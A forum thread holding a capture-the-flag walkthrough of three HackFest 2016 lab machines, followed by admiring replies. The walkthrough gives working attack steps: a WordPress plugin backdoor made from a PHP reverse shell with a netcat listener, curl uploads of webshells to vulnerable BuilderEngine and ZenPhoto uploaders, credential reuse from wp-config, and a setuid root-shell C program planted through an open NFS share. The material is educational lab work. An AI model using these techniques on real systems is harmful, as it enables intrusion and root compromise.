

Forum:[Hack Forums](#)

Thread: [\[CTF\] HackFest 2016: Full Walkthrough \(Quaoar, Sedna, Orcus\)](#)

Xphile - April 29, 2017, 6:20 pm

HackFest 2016: Full CTF Walkthrough [Quaoar](#) - Easy

[Sedna](#) - Medium

[Orcus](#) - Hard

Hello all, I've recently been playing through the CTF challenges from [HackFest 2016](#). I've decided to make this (fairly lengthy) write-up for those who are either playing this CTF or simply interested in the techniques and methods used in this challenge.

I'll try and separate the three challenges as much as possible, however my notes are a little scattered (as they always are). The below walkthroughs will be more of a speedrun instead of a full playthrough. If you'd like to see my mad ramblings and train of thought with these CTF's, simply click below.

[[Quaoar \(All Notes\)](#) | [Sedna \(All Notes\)](#) | [Orcus \(All Notes\)](#)]

Quaoar

Level 1 - Recon

Spoiler [\(Click to View\)](#)

Starting off with any CTF, I will always follow this method:

1. NetDiscover - This finds the target VM (I feel that looking at the VM's output is a little cheap sometimes, not like it's particularly difficult to find hosts on a LAN).

Code

IP	At MAC Address	Count	Len	MAC Vendor / Hostname

192.168.56.100	08:00:27:ea:00:d3	1	60	PCS Systemtechnik GmbH
192.168.56.101	08:00:27:ce:a9:4f	1	42	PCS Systemtechnik GmbH

2. Nmap - After locating the target's address, I'll run a thorough Nmap scan in-order to gain as much knowledge about the specific services as possible. Below is the output for the following command:

Code `nmap -p- -A 192.168.56.101`

[\[Full Nmap Report\]](#)

Here's the TL;DR version:

Code 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.8.1-P1
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)

```
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3     Dovecot pop3d
```

3. Quick banner check - Previous CTF challenges have sometimes left small hints on SSH and Telnet ports. So I now feel obligated to check every time. However, these challenges didn't have anything special to show there.

So now I've compiled all the running services, it's time to check out the webserver. Usually I will separate this into different steps as well:

1. Manual Crawling and Source Code Analysis - The easier-side of CTF challenges will almost always have a clue (and sometimes a flag) hidden in the HTML source. However, this challenge series is a little different. The index page has no helpful resources available:

All the image leads to is a Hackers reference, gave me a smile. However, no additional directories.

2. Automated Crawling / Directory Bruteforcing - So if you read the rambling notes at the top of this walkthrough, you'll notice that I really need to stop relying on Uniscan to brute directories for me. I used to use DirBuster, but it takes a long time for a full site crawl...

Either way, here's the (useful) Uniscan output:

```
Code | Directory check:
| [+] CODE: 200 URL: http://192.168.56.101/wordpress/
| [+] CODE: 200 URL: http://192.168.56.101/upload/
|
| File check:
| [+] CODE: 200 URL: http://192.168.56.101/index.html
| [+] CODE: 200 URL: http://192.168.56.101/robots.txt
|
| Check robots.txt:
| [+] Disallow: Hackers
| [+] Allow: /wordpress/
| [+]
| [+] # /_ _ \_
| [+] # // /| | /_ \ /_ \ ' _
| [+] # / \ / / | | ( | ( | ( | |
| [+] # _ _ , _ \ _ , _ \ _ , _ \ _ / \ _ , _ |
| [+]
|
| Check sitemap.xml:
```

Now this was interesting, as you can see, robots.txt mentions a directory called /wordpress/.

With this in mind, I can also make the assumption that directories like /wp-content/ and /wp-login/ are present.

Now I can be sure that WordPress is running on the target, I can use WPscan to grab more specific info. I didn't have to look into the vulnerable plugins that were mentioned in the output, so I decided to omit them from this walkthrough (they can still be found in the notes). WPscan enumerated the users for me:

```
Code +----+-----+-----+
```

	Id	Login	Name
1	admin	admin	
2	wpuser	wpuser	

So now I know that 'admin' exists, I might as well guess a few passwords.
A few seconds later, I'm in. Turns out the admin password was "admin".

Level 2 - Exploitation

Spoiler ([Click to View](#))

Now from past experience with having to pop shells on WordPress sites, I decided to get on with it and make a dummy plugin. Here's how to do that:

1. Get yourself a shell - This is pretty easy. I tend to use either [PentestMonkey's PHP shell](#) or a [b374k shell](#). Afterwards, you have to edit the code to fit your local host and local port. For example, if you were to use PentestMonkey's shell:

```
Code $ip = '192.168.56.1'; // CHANGE THIS
$port = 1337; // CHANGE THIS
```

2. Format the PHP code to fit the requirements for WP Plugins - After looking at the [WP Plugin Handbook](#), it seems that plugins need a header in-order for it to successfully install. After making the edits, this was the final code:

[\[Pastebin Link\]](#)

3. Zip the file and Upload - After the PHP code has been properly formatted, just go ahead and zip it up, then manually install a third-party plugin from the admin's dashboard.

Before you click 'Install', open up Netcat and be ready to catch the incoming connection:

```
Code nc -lvp 1337
```

After that, a connection opens and I've got a shell! ?

Level 3 - Post Exploitation

Spoiler ([Click to View](#))

Usually I don't have much of an algorithm in this part, I tend to just crawl around blindly until I fall on top of something valuable...

Here are some interesting places to look though:

1. /etc/passwd - This is one of the best ways to enumerate potential user accounts, it can also give you a good idea of what's running on the system. Here's the output for Quaoar:

[\[/etc/passwd\]](#)

2. The /home/ directory - Obviously this is where you'll find the user accounts present on the system. In this case:

```
Code $ ls -alt
```

```
total 12
drwxr-xr-x  3 root root 4096 Oct 24  2016 .
drwxr-xr-x  2 root root 4096 Oct 22  2016 wpadmin
drwxr-xr-x 22 root root 4096 Oct  7  2016 ..
$ cd wpadmin
$ ls
flag.txt
There's one of the flags.
```

Spoiler ([Click to View](#))

3. /var/ - If you see anything interesting on the webserver, but don't have read/write privileges yet, this is the time to move to /var/www/ and look back over your recon notes. You can also view backups such as shadow.bak from /var/backups (this would require root though.)

Now it's time to get root and fully pwn the first machine. Luckily, this isn't the hardest thing to do. Due to WordPress being on the server, /var/www/wordpress/wp-config.php has to hold something useful:

```
Code /** MySQL database username */
define('DB_USER', 'root');
```

```
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
```

And as luck would have it, there's the MySQL creds.
Considering the account is root, I might as well try and login using the same credentials.

```
Code root@192.168.56.101's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)
```

* Documentation: <https://help.ubuntu.com/>

System information as of Sat Apr 29 09:37:03 EDT 2017

```
System load: 0.02          Processes:          99
Usage of /: 29.9% of 7.21GB Users logged in:    0
Memory usage: 38%          IP address for eth0: 192.168.56.101
Swap usage:  0%            IP address for virbr0: 192.168.122.1
```

Graph this data and manage this system at <https://landscape.canonical.com/>

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

```
Last login: Sat Apr 29 09:20:34 2017 from 192.168.56.1
root@Quaoar:~#
That's the first box rooted. As a quick summary:
```

Flag 1 - Get a shell via backdoored WordPress plugin.
Flag 2 - Obtain root via dumped MySQL creds.
Flag 3 - Post-exploitation flag found in /home/wpadmin

Flags:

/home/wpadmin/flag.txt - 2bafe61f03117ac66a73c3c514de796e
/root/flag.txt - 8e3f9ec016e3598c5eec11fd3d73f6fb

Sedna
Level 1 - Recon
Spoiler ([Click to View](#))

Service-wise, this CTF was fairly similar to Quaoar.

[\[Full Nmap Report\]](#)

However, something on the webserver was very different. Seeing as I'd completed these two challenges fairly quickly and in succession, I instantly disregarded the useless index page and the Hackers reference and went straight to /wordpress/; only to be met with a 404 error... As it turns out, WordPress is not an attack vector for Sedna.

I decided to run Uniscan (once again) to brute directories and give me something to work with, here's the useful output:

Code | Directory check:
| [+] CODE: 200 URL: http://192.168.56.101/blocks/
| [+] CODE: 200 URL: http://192.168.56.101/files/
| [+] CODE: 200 URL: http://192.168.56.101/modules/
| [+] CODE: 200 URL: http://192.168.56.101/system/
| [+] CODE: 200 URL: http://192.168.56.101/themes/

| File check:
| [+] CODE: 200 URL: http://192.168.56.101/index.html
| [+] CODE: 200 URL: http://192.168.56.101/license.txt
| [+] CODE: 200 URL: http://192.168.56.101/robots.txt

These directories were mostly filled with different files and subdirectories and I won't be mentioning them all here for the sake of the 8000 character limit here on HF.

The next thing I checked out was the Apache Tomcat service. I don't have a lot of experience with this service, so a lot of the functions were very new to me. There probably was a way of exploiting this to gain a shell, but I don't have the skills to exploit it yet.

This was the point that I decided to ditch the Tomcat server and start looking into other services. No real luck there either. So I had concluded that this box will be another that should be hacked via port 80.

Looking back over the files I pulled, I noticed that license.txt was different from the first challenge. Here's an excerpt from the file:

Code The MIT License (MIT)

Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.
BuilderEngine? That sounds promising. And once again, Uniscan had completely trolled me and failed to find /builderengine/ in the initial scan. ???

So now I have a target, time to search for exploits.

[This one](#) looks like the best option, also shows the directory of the file uploader (which exists!)

Level 2 - Exploitation

Spoiler [\(Click to View\)](#)

Alright, time to craft a payload and exploit BuilderEngine's file uploader located at /themes/dashboard/assets/plugins/jquery-file-upload.

I took a few minutes to fully understand how I was going to go about this, and decided to use this cURL command:

```
Code curl --proxy http://127.0.0.1:8080 --form "files[]=@pwn.php"
http://192.168.56.101/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
```

FYI: I was using the Interceptor from BurpSuite to see what was actually being sent from my machine.

After pwn.php (a b374k shell) was uploaded, I could simply direct my browser to /files/pwn.php and it executes!

Level 3 - Post Exploitation

Spoiler [\(Click to View\)](#)

Strangely, I could already access /root/. So I guess this could be counted as a flag..? Here's some post-exploitation shenanigans that were completely uncoordinated:

```
Code /var/www/html/>more codeception.yml
.....
codeception.yml
.....
paths:
  tests: tests
  log: tests/_log
  data: tests/_data
  helpers: tests/_helpers
settings:
  bootstrap: _bootstrap.php
  suite_class: \PHPUnit_Framework_TestSuite
  colors: false
  memory_limit: 1024M
  log: true
modules:
  config:
    Db:
      dsn: ""
      user: ""
      password: ""
      dump: tests/_data/dump.sql
```

```
Code /var/www/>cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289
[/etc/passwd]
```

Now this is interesting, there is apparently a directory called /home/crackmeforpoints. However, the below output will suggest that isn't the case:

```
Code /home/>ls -alt
total 8
drwxr-xr-x  2 root root 4096 Oct 28  2016 .
drwxr-xr-x 21 root root 4096 Oct  7  2016 ..
```

Now I really wasn't sure where to go from here. I still do not have an answer for this level and hopefully someone here can have a go?

Either way, here's my summary for the Sedna CTF challenge:

Flag 1 - Exploit BuilderEngine's jQuery file uploader to upload and execute arbitrary files

Flag 2 - Absolute magic, as far as I'm concerned. If anyone has a possible answer, I would love to hear it.

Flag 3 - This will forever remain a mystery. I haven't checked any other walkthroughs yet, so they may have found it, however I have not.

Flag 4 - Post-exploitation flag found in /var/www/flag.txt

Orcus
Level 1 - Recon
Spoiler ([Click to View](#))

Now, this is the CTF that made me spend more time on it than Quaoar and Sedna put together.

On the surface, it looks completely normal. The services don't look hugely different from the others and the first impressions from the webserver are just as disappointing as the others.

Here's the full Nmap report:

[\[Full Nmap Report\]](#)

And here's the TL;DR version:

```
Code 22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain  ISC BIND 9.10.3-P4-Ubuntu
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
110/tcp  open  pop3    Dovecot pop3d
111/tcp  open  rpcbind 2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap    Dovecot imapd
443/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap Dovecot imapd
995/tcp  open  ssl/pop3 Dovecot pop3d
2049/tcp open  nfs_acl  2-3 (RPC #100227)
36849/tcp open mountd  1-3 (RPC #100005)
44378/tcp open nlockmgr 1-4 (RPC #100021)
50284/tcp open mountd  1-3 (RPC #100005)
```

54647/tcp open mountd 1-3 (RPC #100005)

So we have a few more services running this time, an presumably a much harder webserver.

Running Uniscan (while hating my past-self for wasting hours in the long-run):

Code | Directory check:

```
| [+] CODE: 200 URL: http://192.168.56.101/FCKeditor/
| [+] CODE: 200 URL: http://192.168.56.101/admin/
| [+] CODE: 200 URL: http://192.168.56.101/backups/
| [+] CODE: 200 URL: http://192.168.56.101/cron/
| [+] CODE: 200 URL: http://192.168.56.101/external/
| [+] CODE: 200 URL: http://192.168.56.101/files/
| [+] CODE: 200 URL: http://192.168.56.101/framework/
| [+] CODE: 200 URL: http://192.168.56.101/themes/
| [+] CODE: 200 URL: http://192.168.56.101/tmp/
| [+] CODE: 200 URL: http://192.168.56.101/phpmyadmin/
| [+] CODE: 200 URL: http://192.168.56.101/install/
```

| File check:

```
| [+] CODE: 200 URL: http://192.168.56.101/admin/index.php
| [+] CODE: 200 URL: http://192.168.56.101/index.html
| [+] CODE: 200 URL: http://192.168.56.101/robots.txt
| [+] CODE: 200 URL: http://192.168.56.101/index.php
| [+] CODE: 200 URL: http://192.168.56.101/xmlrpc.php
| [+] CODE: 200 URL: http://192.168.56.101/login.php
Quite a few more functions present. Including a phpMyAdmin panel.
That's gotta be my ultimate target, right?
```

So I had quite a lot of results to run through and analyse, so of course I won't be posting them all here. You should look to the notes at the top of this thread if you'd like to see them in-full.

One thing that was interesting was the index.php file. As it pointed to an Exponent CMS generator:

```
Code <meta name="Generator" content="Exponent Content Management System - v2.3.9"/>
<title>My New Exponent Site :: Down for Maintenance.</title>
```

At this point I was feeling happy, I thought I'd just exploit the CMS after learning about the version running and I'd have made this CTF look easy.

No.

Obviously I can't do anything with this CMS, because it hasn't been started. If I had privileges to install it, I'd clearly be too far into this for there to be any advantage in doing-so.

Moving onto other directories, I took a look at /admin/. It simply gave me nothing on the face, looking at the source I was greeted with:

```
Code [b]<!--[/b] This is a backup taken from the backups/-->
Interesting, let's take a look at that..:
```

```
Code [PARENTDIR] Parent Directory -
[ ] SimplePHPQuiz-Backupz.tar.gz 2016-10-31 20:29 210K
[ ] ssh-creds.bak 2016-11-01 21:33 12
Now this has to be useful.
```

It'd be way too easy for me to just access the backups and login through SSH.
So I just downloaded SimplePHPQuiz.

Code # ls

```
add_quiz.php includes process_quizAdd.php samplequiz.php
css index.php quiz.php view_result.php
fonts js README.md
```

Here I made one of the dumbest mistakes I have ever made in any CTF, ever. I only checked the README and index.php, for some reason I didn't even move to the includes/ directory. Needless to say, I will now seek out and check the includes of every resource I ever get from a CTF.

After fast-forwarding about 6 hours, I finally decided to enumerate other services. Nothing jumped out from the SSH and SMB services. However, the NFS share was my diamond in the rough.

Using scripts from the [NSE](#), I was able to find the following information:

Code | nfs-ls: Volume /tmp

```
| access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| ?????????? ? ? ? ?
| rwxr-xr-x 0 0 4096 2016-10-31T03:05:46 ..
| rwxrwxrwt 0 0 4096 2017-04-16T21:26:47 .ICE-unix
| rwxrwxrwt 0 0 4096 2017-04-16T21:26:47 .Test-unix
| rwxrwxrwt 0 0 4096 2017-04-16T21:26:47 .X11-unix
| rwxrwxrwt 0 0 4096 2017-04-16T21:26:47 .XIM-unix
| rwxrwxrwt 0 0 4096 2017-04-16T21:26:47 .font-unix
| rwx-----
0 0 4096 2017-04-16T21:27:17 systemd-private-c2c0edf4d5884bab8766e6e16ebe70f7-doveco
t.service-cj3Pjz
| rwx-----
0 0 4096 2017-04-16T21:26:47 systemd-private-c2c0edf4d5884bab8766e6e16ebe70f7-system
d-timesyncd.service-8Fnt8e
|_
| nfs-showmount:
|_ /tmp *
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /tmp 7608792.0 3727608.0 3471636.0 52% 8.0T 32000
I can access /tmp/ from the webserver without authentication. The plan seems to be coming
together now.
```

Proof of being able to access /tmp/:

Code mount -t nfs 192.168.56.101:/tmp/ /mnt/

After mounting, there wasn't anything useful (yet), however I could see that I can read and write to this directory. However I could not execute, this was an inconvenience.

I finally decided to check out the includes/ folder, then proceeded to hurl my laptop across the room:

[The reason you should check everything thoroughly while playing CTF challenges.](#)

So after trying the creds on the PHPMA panel, I was in and granted admin privileges to the SQL database. [I posted a thread here](#) asking for help on file upload, however this instance had countermeasures against my efforts.

Most of these tables were empty and I began to lose hope. However, there was one called ZenPhoto (accompanied by ZenCart). After looking around, I realised that Uniscan had failed me again and didn't detect /zenphoto/.

Moving to that directory, ZenPhoto was not yet configured. Allowing me to simply change some of the options and add my own admin account. ???

Level 2 - Exploitation
Spoiler [\(Click to View\)](#)

Without really taking much time, I attempted a few attacks all in-vain. So I decided to take a moment to understand ZenPhoto's capabilities (as an administrator).

Looking around on the ZenPhoto admin panel, I found there was an eFinder file uploader present (just like the one with BuilderEngine on Sedna).

After enabling the plugin, I was given a new option under the 'Upload' tab on the dashboard. After accessing it, I was given this:

Code Note: Accessing the Albums folder with this utility is equivalent to using FTP to access it. I simply uploaded my PHP backdoor and accessed it under /zenphoto/plugins/pwn.php.

Level 3 - Post Exploitation
Spoiler [\(Click to View\)](#)

Ok, the final CTF has been shelled. Now to get root and do some more flailing around while claiming to do post-exploitation... ?

Here's the /etc/passwd file:

[\[/etc/passwd\]](#)

Can't see a lot going on here. I had a crack at escalating privileges, but no dice.

I then took a look into something I'd never really explored before, creation of setuid binaries. After a lot of research, I came across this code:

```
Code int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
}
```

Saving this as givemeroot.c, this is how I managed to obtain root on Orcus:

1. Upload givemeroot.c onto the NFS share (aka. /tmp/).
2. Compile the C file using the PHP shell on the target machine:

Code gcc givemeroot.c -o givemeroot3. Set the ownership and privileges for the file using your machine as you access /tmp/ as root:
Code chown root:root ./givemeroot && chmod u+s ./givemeroot4. Execute the root shell using the PHP shell:
Code ./givemeroot
And there we have it, rooted:
Code # cd /root && pwd && ls -alt
/root
total 44
-rw----- 1 root root 118 Mar 11 21:10 .bash_history
drwx----- 6 root root 4096 Mar 11 17:25 .
drwx----- 3 root root 4096 Nov 1 22:22 .cache
-rw----- 1 root root 657 Nov 1 20:56 .viminfo
drwxr-xr-x 24 root root 4096 Oct 30 23:05 ..
drwxr-xr-x 2 root root 4096 Oct 28 20:26 .nano
drwx----- 2 root root 4096 Oct 22 22:18 .ssh
----- 1 root root 33 Oct 22 13:36 flag.txt
drwx----- 3 root root 4096 Oct 11 2016 .config
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
It turns out that the SSH service running on 22/tcp was actually a honeypot, and the SSH creds were bogus. The real service was on port 443.

Also found a strange (and useless) directory in /home/:

Code \$ ls -alt
total 12
drwxr-xr-x 2 root root 4096 Nov 1 22:34 .youwillfindnothinghere
drwxr-xr-x 3 root root 4096 Nov 1 22:34 .
drwxr-xr-x 24 root root 4096 Oct 30 23:05 ..
\$ cd .youwillfindnothinghere
\$ ls -alt
total 8
drwxr-xr-x 2 root root 4096 Nov 1 22:34 .
-rw-r--r-- 1 root root 0 Nov 1 22:34 itoldyou
drwxr-xr-x 3 root root 4096 Nov 1 22:34 ..
So to summarise:

Flag 1 - Get a shell via ZenPhoto's file uploader plugin (eFinder).
Flag 2 - Compile a suid binary following the above instructions.
Flag 3 - /var/www/flag.txt
Flag 4 - Secret directory in /home/.

So there we have it, all 3 challenges done to the best of my ability.

I'd just like to say a massive thanks to everyone who's given me support in the short time I've been here. It's truly motivated me to keep contributing to the forums and become an active member who strives to be HQ.

Hopefully you guys enjoyed this lengthy walkthrough. Please let me know if you'd like to see more of these in the future, as I'll probably start the one in my sig during the next few days.

Thanks all, until next time. ?

/Ninja - April 29, 2017, 7:58 pm

Very awesome man! Good solid write up. I know you have been working hard on these and wanted to be the first full write up on it.

I havent done this CTF yet. But will for sure give them a go.

Keep up the HQ work man.

Xphile - April 30, 2017, 4:31 am

(Apr 29, 2017 07:58 PM)/Ninja Wrote: [\[CITE\]](#) Very awesome man! Good solid write up. I know you have been working hard on these and wanted to be the first full write up on it.

I havent done this CTF yet. But will for sure give them a go.

Keep up the HQ work man.

Yeah, Orcus had me stuck for a while.

Thanks a lot for the feedback, it's appreciated. ?

sumi_7 - April 30, 2017, 12:59 pm

Amazing write up!

Thank you for posting such a detailed and informative post :)

Keep up the good work, looking forward for more of your posts.

Xphile - April 30, 2017, 1:04 pm

(Apr 30, 2017 12:59 PM)sumi_7 Wrote: [\[CITE\]](#) Amazing write up!

Thank you for posting such a detailed and informative post :)

Keep up the good work, looking forward for more of your posts.

I'm really glad you like it man, took me a while to finalize everything.

The next ones should be a little more organised, as there'll only be one challenge instead of a full series.

Thanks for the feedback. ?

RS-4 - April 30, 2017, 2:49 pm

Looks like a great post OP..! I've just got into 'ethical hacking' and pentesting, and have just played around / learnt the important fundamentals of getting around the OS and whatnot including the important command line commands... Where did you start your 'journey' if you don't mind me asking? I'm signed up on Cybrary and it seems pretty good, but would love to hear from some others that seem to have knowledge on the subject! ? Cheers.

* Forgot to include I'm using Kali. Have it installed on a laptop and vm.

Xphile - April 30, 2017, 3:01 pm

(Apr 30, 2017 02:49 PM)Audi Power Wrote: [\[CITE\]](#) Looks like a great post OP..! I've just got into 'ethical hacking' and pentesting, and have just played around / learnt the important fundamentals of getting around the OS and whatnot including the important command line commands... Where did you start your 'journey' if you don't mind me asking? I'm signed up on Cybrary and it seems pretty good, but would love to hear from some others that seem to have knowledge on the subject! ? Cheers.

I started a few years back with a general interest in computing. Then I started playing around with Windows utilities (i.e. Powershell and CMD). Got in trouble at college after managing to query their

Active Directory to throw up all of their default admin accounts (with default passwords ?).

From there, I decided to read up on Python programming and also introduced myself to Debian. Found that was way too hard for me so I decided to take a step back and actually read and develop skills before trying to blindly use them.

I'd say you were definitely on the correct path with Cybrary, I've completed quite a lot of the free courses and I can safely say I've learned something from each of them. From there, you can do the following things:

- Buy some books from Amazon (e.g. Programming languages, Networking, Ethical Hacking)
- Set up a Linux virtual machine - Look up some tutorials on how to change certain things about the system, learn where valuable and useful files are kept. For example, UNIX systems have an [in-built utility](#) for finding rootkits.
- Post (detailed) questions here - The amount of high quality members hanging around the Beginner Hacking Section is astounding.
- Play CTF games like this one! - CTF challenges are the most fun way of testing your skills, especially because they are based on real-world vulnerabilities.

If you ever need to ask a quick question about general security, feel free to PM me. Also, I have a collection of eBooks (that'd cost a decent amount on Amazon) for free in my signature, please do take them.

Also, I'm truly grateful that you enjoyed this write-up, thanks for the positive support man. ?

RS-4 - April 30, 2017, 3:13 pm

Sounds great buddy -I appreciate the great answer and I'll definitely check out those eBooks! We really do need more people like you on this forum. :) I'll send you over some Btc tomorrow when I'm back on my Desktop.. Enjoy the rest of your evening / day ? British time here so

redlightrouter - April 30, 2017, 7:10 pm

Great write-up! Enjoyed reading it, and I might try this one for myself.

Xphile - May 1, 2017, 4:32 am

(Apr 30, 2017 07:10 PM)redlightrouter Wrote: [\[CITE\]](#) Great write-up! Enjoyed reading it, and I might try this one for myself.

Thanks a lot for reading. This series was a lot of fun, so I can highly recommend it.

Thanks for the positive feedback too. ?

RS-4 - May 2, 2017, 11:00 am

Just sent \$10 BTC to your Address.. Hopefully you receive it soon bud. ?

Xphile - May 2, 2017, 1:42 pm

(May 2, 2017 11:00 AM)Audi Power Wrote: [\[CITE\]](#) Just sent \$10 BTC to your Address.. Hopefully you receive it soon bud. ?

Holy crap man, you didn't have to do that.

Payment is pending, so I've definitely received it. I know \$10 isn't much for some people, but this'll go a really long way for me.

If you need any help with pentesting or just want a general chat, feel free to PM me any time man. ?

RS-4 - May 2, 2017, 1:54 pm

(May 2, 2017 01:42 PM)D3M0GORG0N Wrote: [\[CITE\]](#) Holy crap man, you didn't have to do that.

Payment is pending, so I've definitely received it. I know \$10 isn't much for some people, but this'll go a really long way for me.

If you need any help with pentesting or just want a general chat, feel free to PM me any time man. ? No Problem. ? Your a quality member, and I caught eye on your Crypto Addresses on your Sig, aha. I don't mind, as to long as people are to pay it forward some day..

Keep at it!.

Frank Gallager - May 5, 2017, 1:35 pm

Great write my dude, thanks for sharing I am about to try this now!

Xphile - May 5, 2017, 1:38 pm

(May 5, 2017 01:35 PM)Frank Gallager Wrote: [\[CITE\]](#) Great write my dude, thanks for sharing I am about to try this now!

Glad you enjoyed reading.

I'll be posting another one for the Moria CTF when I get round to it.
It's a fairly tricky challenge, so might be a while.

Thanks a lot for the positive feedback. ?

Threebones - May 5, 2017, 1:43 pm

dam dude this is sick, good writeup.

Xphile - May 5, 2017, 2:05 pm

(May 5, 2017 01:43 PM)Threebones Wrote: [\[CITE\]](#) dam dude this is sick, good writeup.
Thanks man, it's highly appreciated! ?